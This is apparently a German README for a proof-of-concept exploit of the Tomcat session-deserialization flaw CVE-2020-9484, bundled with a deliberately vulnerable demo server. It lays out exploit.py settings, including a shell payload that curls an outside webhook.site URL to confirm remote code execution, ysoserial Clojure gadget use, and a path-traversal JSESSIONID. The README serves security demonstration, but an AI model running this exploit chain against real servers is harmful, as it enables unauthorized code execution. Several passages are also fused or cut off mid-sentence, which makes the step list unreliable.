
PoC-Exploit für CVE-2020-9484 und eine verwundbare Webanwendung zu dessen Demonstration
Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2020-9484 sowie einen Beispiel-Webserver, der für diesen Exploit anfällig ist.
Betroffene Tomcat-Versionen sind:
PersistentManager ist aktiviert und verwendet ein FileStore..session-Dateien) und kennt den Speicherort, an dem sie hochgeladen wird.clojure oder commons-collections), die für einen Java-Deserialisierungsangriff verwendet werden können.Der Beispieldienst ist ein Webserver mit zwei Seiten, /index.jsp (oder einfach /) und /list.jsp. Er ermöglicht dem Benutzer, Dateien hoch- und herunterzuladen (bezogen auf die aktuelle Sitzung), und fungiert damit effektiv als Dateispeicher.
/upload für Datei-Uploads und ermöglicht dem Benutzer, den Dateinamen zu wählen. Dadurch ist es möglich, Dateien mit der Erweiterung .session hochzuladen. Es ist außerdem bekannt, dass der Server die Dateien im Verzeichnis /var/tmp/uploads speichert.PersistentManager mit einem FileStore aktiviert. (siehe context.xml)clojure:1.8.0 im Klassenpfad, was den Deserialisierungsangriff erleichtert. (siehe pom.xml)Um den verwundbaren Beispieldienst einzurichten:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
Der Dienst sollte nun unter http://localhost:8085/POC_CVE-2020-9484/ laufen und erreichbar sein.
Passen Sie nun die Konfigurationsvariablen am Anfang von exploit.py an. Das PAYLOAD, hier ein Shell-Skript, kann eine beliebige Datei sein, die vom Server ausgeführt werden kann.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
Führen Sie nun exploit.py aus. Es führt die folgenden Aktionen aus:
.session-Dateien) zu erzeugen, die schließlich auf dem Server deserialisiert werden:
PAYLOAD Ausführungsrechte zu erteilen.PAYLOAD auf dem Server auszuführen.PAYLOAD als Datei auf den Server hoch..session-Dateien auf den Server hoch.JSESSIONID-Cookie den Pfad der zuvor hochgeladenen .sesssion-Dateien relativ zum Sitzungsspeicher des Servers darstellt, wodurch deren Deserialisierung auf dem Server und die anschließende Ausführung des Payloads ausgelöst wird./path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. In einem solchen Fall kann die Verwendung einer JSESSIONID der Form ../../../../tmp (anstelle eines beliebigen Werts wie "1337"*8 in exploit.py oben) mit der Datei-Upload-POST-Anfrage möglicherweise hilfreich sein, um herauszufinden, wo die hochgeladene Datei auf dem Server gespeichert wird.